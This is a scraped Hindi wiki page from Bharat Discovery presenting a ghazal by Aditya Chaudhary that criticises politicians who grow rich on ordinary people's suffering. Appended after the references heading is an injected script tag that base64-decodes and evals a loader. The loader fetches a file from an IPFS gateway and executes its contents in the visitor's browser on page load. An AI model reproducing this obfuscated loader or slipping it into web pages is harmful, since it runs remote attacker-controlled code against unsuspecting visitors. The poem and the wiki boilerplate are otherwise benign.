एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "२"।

तख़्त बनते हैं -आदित्य चौधरी

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
Copyright.png
तख़्त बनते हैं -आदित्य चौधरी

तेरे ताबूत की कीलों से उनके तख़्त बनते हैं
कुचल जा जाके सड़कों पे, तभी वो बात सुनते हैं

गुनाहों को छुपाने का हुनर उनका निराला है
तेरा ही ख़ून होता है हाथ तेरे ही सनते हैं

न जाने कौनसी खिड़की से तू खाते बनाता है
जो तेरी जेब के पैसे से उनके चॅक भुनते हैं

बना है तेरी ही छत से सुनहरा आसमां उनका
मिलेगी छत चुनावों में, वहाँ तम्बू जो तनते हैं

न जाने किस तरह भगवान ने इनको बनाया था
नहीं जनती है इनको मां, यही अब माँ को जनते हैं


टीका टिप्पणी और संदर्भ


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>